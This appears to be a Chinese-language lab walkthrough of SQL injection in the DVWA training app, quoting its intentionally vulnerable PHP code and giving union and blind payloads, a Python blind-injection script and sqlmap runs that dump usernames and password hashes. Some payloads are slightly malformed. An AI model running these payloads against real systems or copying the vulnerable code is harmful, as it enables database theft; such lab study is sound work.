DVWA SQL injection
2025-02-25
33 min read
Low
题目源码
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// 没有过滤就直接带入 SQL 语句中 使用单引号闭合
// !!! 漏洞点 !!!
// 没有对 $id 进行任何过滤或转义,就直接拼接到 SQL 查询语句中
// 这使得攻击者可以通过构造恶意的 $id 值来执行 SQL 注入攻击
// 攻击者可以利用单引号 (') 来闭合 SQL 语句中的单引号,然后注入恶意的 SQL 代码
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
// 使用 mysqli_fetch_assoc 函数从结果集中获取一行数据,并将其作为关联数组返回
while( $row = mysqli_fetch_assoc( $result ) ) {
// 回显信息
// Get values
// 从关联数组中获取 'first_name' 和 'last_name' 的值
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
// 向用户显示查询结果
// 使用 <pre> 标签可以保留 HTML 代码中的空格和换行符,使输出更易于阅读。
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
// 关闭数据库连接
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
思路
1.
判断字段数 - 使用 order by 语句
1' or 1=1 order by 1 #
临界报错即可判断字段数 (临界 - 1)
2.
确定显示的字段顺序
会进行多个查询
UNION 用于将两个或多个SELECT语句的结果合并为一个结果集
要使用UNION, 两个SELECT语句必须具有相同的列数, 而且列的数据类型必须兼容
UNION操作会将两个结果集的列对齐, 对应的位置会被映射到相同的字段上
1' union select 1,2 #
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,2 #';
3.
获取数据库名
1' union select 1,database() #
回显信息
ID: 1' union select 1,database() #
First name: admin
Surname: admin
ID: 1' union select 1,database() #
First name: 1
Surname: dvwa
4.
获取数据库中的表
1' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() #
回显信息
ID: 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
First name: admin
Surname: admin
ID: 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
First name: 1
Surname: users,guestbook
5.
获取字段名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
ID: 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
First name: admin
Surname: admin
ID: 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
First name: 1
Surname: user_id,first_name,last_name,user,password,avatar,last_login,failed_login
6.
获取字段内容
其一
1' union select 1,group_concat(user_id,0x3a,first_name,0x3a,last_name,0x3a,user,0x3a,password,0x3a,avatar,0x3a,last_login,0x3a,failed_login) from users #
使用UNION操作
把两个SELECT语句的结果合并
第一个SELECT只是一个简单的1
而第二个SELECT使用了GROUP_CONCAT函数
将多个字段的值用冒号分隔
拼接成一个字符串, 回显的结果显示, 所有用户的信息都被拼接在一起
包括user_id、first_name、last_name等等
每个字段之间用冒号分隔, 多个用户之间用逗号分隔
GROUP_CONCAT 字符串拼接
前面的 1 用于匹配列数, 确保查询顺利执行
In [2]: chr(0x3a)
Out[2]: ':'
回显
ID: 1' union select 1,group_concat(user_id,0x3a,first_name,0x3a,last_name,0x3a,user,0x3a,password,0x3a,avatar,0x3a,last_login,0x3a,failed_login) from users #
First name: admin
Surname: admin
ID: 1' union select 1,group_concat(user_id,0x3a,first_name,0x3a,last_name,0x3a,user,0x3a,password,0x3a,avatar,0x3a,last_login,0x3a,failed_login) from users #
First name: 1
Surname: 1:admin:admin:admin:5f4dcc3b5aa765d61d8327deb882cf99:/hackable/users/admin.jpg:2025-02-20 11:55:33:0,2:Gordon:Brown:gordonb:e99a18c428cb38d5f260853678922e03:/hackable/users/gordonb.jpg:2025-02-20 11:55:33:0,3:Hack:Me:1337:8d3533d75ae2c3966d7e0d4fcc69216b:/hackable/users/1337.jpg:2025-02-20 11:55:33:0,4:Pablo:Picasso:pablo:0d107d09f5bbe40cade3de5c71e9e9b7:/hackable/users/pablo.jpg:2025-02-20 11:55:33:0,5:Bob:Smith:smithy:5f4dcc3b5aa765d61d8327deb882cf99:/hackable/users/smithy.jpg:2025-02-20 11:55:33:0
其二
1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
回显
ID: 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
First name: admin
Surname: admin
ID: 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
First name: Gordon
Surname: Brown
ID: 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
First name: Hack
Surname: Me
ID: 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
First name: Pablo
Surname: Picasso
ID: 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
First name: Bob
Surname: Smith
ID: 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
First name: 1adminadmin,2GordonBrown,3HackMe,4PabloPicasso,5BobSmith
Surname: 5f4dcc3b5aa765d61d8327deb882cf99,e99a18c428cb38d5f260853678922e03,8d3533d75ae2c3966d7e0d4fcc69216b,0d107d09f5bbe40cade3de5c71e9e9b7,5f4dcc3b5aa765d61d8327deb882cf99
Mid
题目源码
<?php
// 检查是否通过 POST 请求提交了名为 'Submit' 的参数。
if( isset( $_POST[ 'Submit' ] ) ) {
// 获取名为 'id' 的 POST 请求参数的值。
$id = $_POST[ 'id' ];
// 使用 mysqli_real_escape_string 函数对 $id 进行转义。
// mysqli_real_escape_string 函数用于转义字符串中的特殊字符,
// 例如单引号 (')、双引号 (")、反斜杠 (\) 和 NULL 字符。
// 这可以防止 SQL 注入攻击。
// $GLOBALS["___mysqli_ston"] 是数据库连接资源。
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
// 构建 SQL 查询语句,从名为 'users' 的表中选择 'first_name' 和 'last_name' 列,
// 条件是 'user_id' 等于转义后的 $id 值。
// !!! 注意 !!! 虽然使用了 mysqli_real_escape_string,但仍然存在整数型 SQL 注入的风险。
// 如果 $id 期望的是一个整数,并且没有进行类型检查,攻击者可以输入类似 "1 OR 1=1" 的值,
// 从而绕过 user_id 的限制,获取所有用户的信息。
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
// 使用 mysqli_query 函数执行 SQL 查询。
// $GLOBALS["___mysqli_ston"] 是数据库连接资源。
// 如果查询失败,则使用 die 函数输出错误信息。
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// 获取查询结果
// 使用 mysqli_fetch_assoc 函数从结果集中获取一行数据,并将其作为关联数组返回。
// 循环遍历结果集中的每一行。
while( $row = mysqli_fetch_assoc( $result ) ) {
// 从关联数组中获取 'first_name' 和 'last_name' 的值。
$first = $row["first_name"];
$last = $row["last_name"];
// 向用户显示查询结果。
// 使用 <pre> 标签可以保留 HTML 代码中的空格和换行符,使输出更易于阅读。
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// 这段代码在 index.php 页面中稍后会被使用
// 在这里设置是为了像其他脚本一样,可以在这里关闭数据库连接
// 构建 SQL 查询语句,从名为 'users' 的表中选择所有行的数量。
$query = "SELECT COUNT(*) FROM users;";
// 使用 mysqli_query 函数执行 SQL 查询。
// $GLOBALS["___mysqli_ston"] 是数据库连接资源。
// 如果查询失败,则使用 die 函数输出错误信息。
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// 使用 mysqli_fetch_row 函数从结果集中获取一行数据,并将其作为索引数组返回。
// 获取索引为 0 的元素,该元素包含用户数量。
$number_of_rows = mysqli_fetch_row( $result )[0];
// 关闭数据库连接。
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
思路
虽然前端使用了下拉选择菜单,但我们依然可以通过抓包改参数,提交恶意构造的查询参数
1
判断注入类型
这里我们其实可以直接做出判断
审计代码发现mysqli_real_escape_string()函数的存在
那么字符型注入肯定会遇到问题
我们直接进行数字型注入
因为前端使用下拉菜单,所以我们得通过抓包修改参数。
2.
猜测字段数 确定回显字段顺序 获取当前数据库 获取数据库中的表
这四部分操作与Low级别差别不大 这里只附上相关语句
1 order by 3 #
1 union select 1,2 #
1 union select 1,database() #
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
3.
获取表中字段名
1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
4.
我们按照原来的思路构建了语句,但是发生了错误,是因为单引号被转义,所以我们利用十六进制绕过
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #
如果用 Yakit 的动态渲染, 需要给生成的内容前加上 `0x`
5.
获取数据
1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
final
id=-1 union select 1,(SELECT GROUP_CONCAT(user,password SEPARATOR 0x3c62723e) FROM users)&Submit=Submit
也可以使用 python 完成第 4 步
import binascii
input_string = "users" # 待转换的字符串
# 使用 binascii 模块的 b2a_hex() 函数将字符串转换为十六进制格式
hex_string = binascii.b2a_hex(input_string.encode('utf-8'))
print(hex_string) # 输出转换后的十六进制字符串
high
题目源码
<?php
// 检查是否存在有效的用户会话
if (isset($_SESSION['id'])) { // 新 tab 中 Inject
// 从会话中获取用户的ID
$id = $_SESSION['id'];
// 构建SQL查询语句,选择用户的名字和姓氏,条件是用户ID,限制返回一条结果
// LIMIT 1是一个 SQL 查询中的限制语句
// 用于指定查询结果集中的最大行数
// 在这段代码中,它用于限制查询结果只返回一行数据,即根据会话ID获取用户的名字和姓氏
// 使用 LIMIT1 可以提高查询效率,并避免在查询结果集中返回大量数据
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
// 执行数据库查询,使用全局数据库连接,并处理潜在的错误
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die('<pre>Something went wrong.</pre>');
// 从查询结果中提取数据
while ($row = mysqli_fetch_assoc($result)) {
// 获取用户的名字和姓氏
$first = $row["first_name"];
$last = $row["last_name"];
// 向用户反馈结果,显示ID、名字和姓氏
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
// 关闭数据库连接
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
impossible
题目源码
<!-- SQL Injection Source
vulnerabilities/sqli/source/impossible.php -->
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
// Anti-CSRF token 防御 CSRF 攻击
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
// 检测是否是数字类型
if(is_numeric( $id )) {
// Check the database
// 参数化查询: 使用 PDO 的 prepare() 方法,将 SQL 语句和用户输入分离,这样即使输入包含恶意 SQL 代码,也不会被执行
// PDO: PHP Data Objects, 是一个轻量级的数据库访问抽象层
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
// 参数绑定: 通过 bindParam() 方法,将用户输入的id绑定到预备声明的参数,并指定了参数类型为整数 (PDO::PARAM_INT)
// 确保了输入只能是整数,进一步防止了注入
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
// 仅当查询结果只有一行时,才显示查询结果
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
盲注
low
源码与路径
<?php
// 检查是否提交了表单
if (isset($_GET['Submit'])) {
// 从GET请求中获取用户输入的ID
$id = $_GET['id'];
// 定义SQL查询语句,直接使用用户输入的数据,这里存在SQL注入漏洞!
// 安全建议:使用prepared statements(预处理语句)来防止SQL注入攻击
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
// 执行SQL查询
// 注意:直接使用全局连接变量 $___mysqli_ston 不太安全,建议使用局部连接
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid);
// 移除了 “or die” 以抑制 MySQL 错误输出,但这可能会导致调试困难
// 获取查询结果的行数
// 使用 @ 符号抑制错误信息,这可能会隐藏潜在的问题
$num = @mysqli_num_rows($result);
if ($num > 0) {
// 如果存在记录,向用户反馈
echo '<pre>用户ID在数据库中存在。</pre>';
} else {
// 如果不存在记录,返回404错误
header($_SERVER['SERVER_PROTOCOL'] . ' 404 Not Found');
// 向用户反馈
echo '<pre>用户ID在数据库中不存在。</pre>';
}
// 关闭数据库连接
// 这里使用了复杂的表达式来关闭连接,建议直接使用 mysqli_close()
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// 安全建议总结:
// 1. 使用prepared statements防止SQL注入
// 2. 避免使用全局变量来存储数据库连接
// 3. 不要使用@符号来抑制错误,应该通过错误处理机制来处理
// 4. 对用户输入进行过滤和验证
// 5. 使用更安全的方式关闭数据库连接
?>
Low级别的代码对参数id的内容没有做任何检查、过滤,存在明显的SQL注入漏洞;
同时SQL语句查询返回的结果只有两种:
User ID exists in the database
User ID is MISSING from the database
1、判断是否存在注入,注入是字符型还是数据型
输入 1' and '1'='1 ,查询成功,说明存在字符型SQL注入
2、猜解当前数据库名
2.1 猜解数据库名的长度
1' and length(database())=1 # // 设数据库长度为1, 报错
1' and length(database())=4 # //数据库名长度为4
2.2 猜解数据库的名称
1' and ascii(substr(database(),1,1))=100 # d
1' and ascii(substr(database(),2,1))=118 # v
1' and ascii(substr(database(),3,1))=119 # w
1' and ascii(substr(database(),4,1))=97 # a
3、猜解数据库中的表名
3.1 猜解库中有几个表
1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2 # //有2个表
3.2 猜解表名的长度
1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=9 # //猜解第一个表名的长度为9
3.3 确定表的名称(guestbook,users)
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=’dvwa’ limit 0,1),1))=103 # //g
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=’dvwa’ limit 1,1),1))=117 # //u
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=’dvwa’ limit 2,1),1))=101 # //e
以此类推,进行查询
4、猜解users表中的字段名
4.1 猜解users表中有几个字段
1' and (select count(column_name) from information_schema.columns where table_name='users')=8 # //users表中有8个字段
4.2 猜解字段名的长度
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1))=4 # //猜解第3个字段的长度
4.3 确定字段的名称(user)
1’ and ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 0,1),1))=117 # //u
1’ and ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 1,1),1))=115 # //s
1’ and ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 2,1),1))=101 # //e
1’ and ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 3,1),1))=114 # //r
5、猜解数据(admin)
1’ and ascii(substr((select user from users limit 0,1)1,1))=97 # //a
1’ and ascii(substr((select user from users limit 1,1)1,1))=100 # //d
1’ and ascii(substr((select user from users limit 2,1)1,1))=109 # //m
1’ and ascii(substr((select user from users limit 3,1)1,1))=105 # //i
1’ and ascii(substr((select user from users limit 4,1)1,1))=110 # //n
一部分脚本
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# DVWA SQL Blind Injection Exploit (Low Level)
# Get the database name using blind SQL injection technique
import requests
import string
import time
from urllib.parse import quote # URL编码
# 禁用SSL警告 (仅用于教育目的,且在受控环境中使用)
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def extract_database_name(url, cookies, max_length=20):
"""
使用盲SQL注入技术提取数据库名称
"""
print("[+] Starting blind SQL injection to extract database name...")
database_name = ""
# 遍历每一个可能的字符位置(从第1位到max_length位)
for position in range(1, max_length + 1):
found = False
# 遍历32到126号ASCII字符(即所有可打印的ASCII字符)
for char_code in range(32, 127):
# 构造SQL注入payload
# 使用substr函数提取数据库名称的第position位字符,并将其ASCII码与char_code比较
payload = f"1' and ascii(substr(database(),{position},1))={char_code} #"
encoded_payload = quote(payload)
# 将URL中的id参数替换为编码后的payload
target_url = url.replace("id=1*", f"id={encoded_payload}")
try:
# 发送HTTP GET请求,禁用SSL验证以避免证书错误
response = requests.get(
target_url,
cookies=cookies,
verify=False, # 禁用SSL证书验证
timeout=10
)
# 根据页面内容判断是否存在 TRUE 的情况
# 可能需要根据实际页面响应调整判断条件
if "User ID exists in the database" in response.text or response.text.find("MISSING") == -1:
current_char = chr(char_code)
database_name += current_char
print(f"[+] Found character at position {position}: '{current_char}' (ASCII: {char_code})")
found = True
break
except requests.exceptions.RequestException as e:
print(f"[-] Request error: {e}")
time.sleep(1) # 如果请求出错,等待1秒后继续尝试
continue
# 如果在当前位置没有找到匹配的字符,可能已经到达数据库名称的末尾
if not found:
print(f"[+] No character found at position {position}, likely reached the end of database name.")
break
# 在每个位置检查后添加延迟,以避免过快请求
time.sleep(0.5)
return database_name
def main():
# 目标URL(将id参数的值替换为占位符)
url = "https://amd_dvwa.orb.local/vulnerabilities/sqli_blind/?id=1*&Submit=Submit"
# 认证所需的Cookies
cookies = {
"PHPSESSID": "kto2sdflh545rgpp6jnbusir3h",
"security": "low"
}
print("[+] Starting blind SQL injection process...")
try:
# 提取数据库名称
database_name = extract_database_name(url, cookies)
if database_name:
print(f"[+] Database name extracted successfully: {database_name}")
else:
print("[-] Failed to extract database name.")
except KeyboardInterrupt:
print("\n[!] Process interrupted by user.")
except Exception as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
main()
SQLmap 操作记录
- 使用 --cookie 选项, 以便 sqlmap 能够绕过登录页面并继续测试
sqlmap -u "https://amd_dvwa.orb.local/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
--cookie "PHPSESSID=kto2sdflh545rgpp6jnbusir3h;security=low" \
--batch \
--dbms=mysql \
--technique=B
___
__H__
___ ___[(]_____ ___ ___ {1.9.2#stable}
|_ -| . [.] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 18:57:56 /2025-02-27/
[18:57:58] [INFO] testing connection to the target URL
[18:57:58] [INFO] testing if the target URL content is stable
[18:57:58] [INFO] target URL content is stable
[18:57:58] [INFO] testing if GET parameter 'id' is dynamic
[18:57:59] [WARNING] GET parameter 'id' does not appear to be dynamic
[18:57:59] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[18:57:59] [INFO] testing for SQL injection on GET parameter 'id'
[18:57:59] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:57:59] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --code=200)
[18:57:59] [INFO] checking if the injection point on GET parameter 'id' is a false positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 19 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 6368=6368 AND 'BQHj'='BQHj&Submit=Submit
---
[18:58:00] [INFO] testing MySQL
[18:58:00] [INFO] confirming MySQL
[18:58:00] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 10 (buster)
web application technology: Apache 2.4.38
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[18:58:00] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 11 times
[18:58:00] [INFO] fetched data logged to text files under '.local/share/sqlmap/output/amd_dvwa.orb.local'
[*] ending @ 18:58:00 /2025-02-27/
---
- 使用 --batch 选项, 以便 sqlmap 能够自动测试所有可能的注入点(避免每次都需要手动输入Y/n)
---
分步骤来进行:
使用 --dbs 列出所有数据库
切换到目标数据库, 比如dvwa
使用 --tables 列出所有表
找到users表, 使用--columns列出所有列
最后, 使用 --dump.dump 所有数据
---
列出所有数据库: 使用--dbs参数列出所有可用的数据库
sqlmap -u "https://amd_dvwa.orb.local/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
--cookie "PHPSESSID=kto2sdflh545rgpp6jnbusir3h;security=low" \
--batch \
--dbms=mysql \
--dbs
---
选择目标数据库: 假设目标数据库为dvwa, 使用-D参数指定数据库
sqlmap -u "https://amd_dvwa.orb.local/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
--cookie "PHPSESSID=kto2sdflh545rgpp6jnbusir3h;security=low" \
--batch \
--dbms=mysql \
-D dvwa \
--tables
---
列出数据库中的表: 使用--tables参数列出所有表
查看表结构: 选择目标表, 例如users, 使用--columns参数查看表的结构
sqlmap -u "https://amd_dvwa.orb.local/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
--cookie "PHPSESSID=kto2sdflh545rgpp6jnbusir3h;security=low" \
--batch \
--dbms=mysql \
-D dvwa \
-T users \
--columns
---
dump表数据: 使用--dump参数导出表中的数据
sqlmap -u "https://amd_dvwa.orb.local/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
--cookie "PHPSESSID=kto2sdflh545rgpp6jnbusir3h;security=low" \
--batch \
--dbms=mysql \
-D dvwa \
-T users \
--dump
---
开启多线程: 使用--threads参数开启多线程, 提高sqlmap的运行速度
sqlmap -u "https://amd_dvwa.orb.local/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
--cookie "PHPSESSID=kto2sdflh545rgpp6jnbusir3h;security=low" \
--batch \
--dbms=mysql \
-D dvwa \
-T users \
--columns \
--threads 8
---
[WARNING] HTTP error codes detected during run: 404 (Not Found) - 11 times
这意味着在sqlmap运行过程中, 发送了11个HTTP请求, 但服务器返回了404错误, 表示请求的资源不存在,
这通常发生在sqlmap试图猜测或测试不存在的文件、目录或其他资源时。尽管存在这些404错误
sqlmap仍然成功进行了SQL注入测试并提取了所需的数据库信息
---
导出表部分数据: 使用以下命令导出users表中的user和password列的数据
sqlmap -u "https://amd_dvwa.orb.local/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
--cookie "PHPSESSID=kto2sdflh545rgpp6jnbusir3h;security=low" \
--batch \
--dbms=mysql \
-D dvwa \
-T users \
-C user,password \
--dump
---
sqlmap -u "http://127.0.0.1:8888/vulnerabilities/sqli_blind/?id=1*&Submit=Submit#" \
--cookie="PHPSESSID=ostjqce3ggb6tvlv55sg9hs7vi; security=low" \
--dbms=MySQL \
--technique=B \
--random-agent \
--flush-session \
-v 3
目标URL和参数:
用户命令: 使用了http://127.0.0.1:8888, 并且URL中包含id=1*和Submit=Submit#, 这可能是在测试特定的SQL注入点或绕过过滤。
示例命令: 使用了https协议, 且URL结构更为标准, 用于基本的SQL注入测试。
数据库管理系统参数:
用户命令: 明确指定了--dbms=MySQL, 而示例中使用了--dbms=mysql, 虽然大写小写可能不影响, 但用户可能强调了使用MySQL。
注入技术:
用户命令: 使用了--technique=B, 这启用了时间盲命令执行, 适用于无法直接提取数据的情况。
示例命令: 未指定--technique, 可能使用了默认的错误盲或基于联合查询的方法。
随机代理:
用户命令: 包含--random-agent, 这会在每次请求时生成随机的User-Agent字符串, 帮助绕过基于User-Agent的防火墙或WAF规则。
示例命令: 未使用该参数, 可能在测试环境中不需要此功能。
会话刷新:
用户命令: 使用了--flush-session, 这会在每次请求后刷新会话Cookie, 避免会话固定攻击, 并确保每次请求独立。
示例命令: 未使用该参数, 可能在测试时不需要频繁更换会话。
详细程度:
用户命令: 使用了-v 3, 这会显示更详细的调试信息, 帮助用户了解sqlmap的操作过程。
示例命令: 未设置详细程度, 可能默认使用较低的详细级别。
自动化处理:
示例命令: 包含了--batch, 这使得sqlmap在运行时自动处理, 减少用户交互, 适合脚本化使用。
用户命令: 未使用该参数, 可能需要用户在某些步骤上进行确认。
数据库和表操作:
示例命令: 指定了-D dvwa -T users --columns, 用于列出特定数据库和表的结构。
用户命令: 未包含这些参数, 可能用户的目标是进行更广泛的注入测试, 而非特定表的数据提取。
---
URI 注入点
有一些特殊情况是注入点处于 URI 本身内。除非手动指定
sqlmap 不会对 URI 路径执行任何自动测试。你需要在命令行中标明这些注入点,
通过在每个需要 sqlmap 测试和利用 SQL 注入的 URI 点后面附加一个星号(*)(注意: 也支持 Havij 风格 %INJECT HERE%)。
例如, 当使用了 Apache Web 服务器的 mod_rewrite 模块或其他类似的技术时, 这特别有用。
一个合法命令行例子如下:
$ python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"
---
任意注入点
与 URI 注入点类似, 星号(*)(注意: 同时支持 Havij 风格 %INJECT HERE%)也可以用于指向 GET, POST 或 HTTP 头部中的任意注入点。
可以在选项 -u 中标注 GET 的参数值, 在选项 --data 中标注 POST 的参数值,
在选项 -H 中标注 HTTP 头部值如 --headers, --user-agent, --referer 和/或 --cookie, 或者标注从文件加载的 HTTP 请求中的通用位置, 用于指定相应的注入点。
一个合法命令行例子如下:
$ python sqlmap.py -u "http://targeturl" --cookie="param1=value1*;param2=value2"
---
mid
<?php
// 检查是否提交了表单
if( isset( $_POST[ 'Submit' ] ) ) {
// 从POST数据中获取用户输入的ID
$id = $_POST[ 'id' ];
// 对ID进行SQL转义,防止SQL注入攻击
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"]))
? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id )
: ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// 编写SQL查询,检查指定ID是否存在于数据库中
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
// 执行SQL查询,并将结果存储在$result中
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // 已移除'or die'以抑制MySQL错误
// 获取查询结果的行数
$num = @mysqli_num_rows( $result ); // '@'字符用于抑制错误信息
// 根据查询结果判断ID是否存在
if( $num > 0 ) {
// 如果存在,向用户反馈
echo '<pre>该用户ID存在于数据库中。</pre>';
} else {
// 如果不存在,向用户反馈
echo '<pre>该用户ID不存在于数据库中。</pre>';
}
//mysql_close(); // 关闭数据库连接(注释掉了)
}
?>
代码利用 mysql_real_escape_string 函数对特殊符号 \x00、\n、\r、\、’、”、\x1a 等进行转义
存在数字型SQL注入, 同时设置了下拉选择表单, 控制用户的输入, 由源码可以看出, 用户只能选择1-5
下面操作都是BurpSuite拦截修改ID值
从 Response 中的 Render 下查看结果
1、猜解当前数据库名
1.1 猜解数据库名的长度 (dvwa)
1 and length(database())=4 // 数据库名长度为4
如果输入的数据库名的长度不对, 则会进行报错, 如下指令
1 and length(database())=5
返回结果为 User ID is MISSING from the database
1.2 猜解数据库的名称
1 and ascii(substr(database(),1,1))=100 //d
接下来的操作与 Low 级别基本上相似。由于 Medium 级别的注入是数字型的
所以不需要单引号 ',也不需要最后的 # ,操作如上所示
high
源码与路径
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
<!-- 加入注释 -->
<?php
// 检查是否存在名为 'id' 的 cookie
if( isset( $_COOKIE[ 'id' ] ) ) {
// 获取 cookie 中的用户 ID
$id = $_COOKIE[ 'id' ];
// 构建查询语句,从 'users' 表中获取用户的第一和最后一个名字
// 注意:直接使用用户输入的数据构建查询语句存在 SQL 注入风险,建议使用预处理语句
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
// 执行 SQL 查询
// 移除了 'or die' 以抑制 MySQL 错误,建议在生产环境中使用更健全的错误处理机制
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid );
// 检查查询结果中的行数
// 使用 @ 符号抑制错误,建议在开发环境中关闭错误抑制以便于调试
$num = @mysqli_num_rows( $result );
if( $num > 0 ) {
// 输出用户存在的反馈信息
echo '<pre>用户在数据库中存在。</pre>';
}
else {
// 生成一个随机的睡眠时间(2到4秒),仅在随机数等于3时执行
// 这可能用于模拟延迟或防止自动化攻击
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// 发送404 Not Found HTTP响应头
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// 输出用户不存在的反馈信息
echo '<pre>用户在数据库中不存在。</pre>';
}
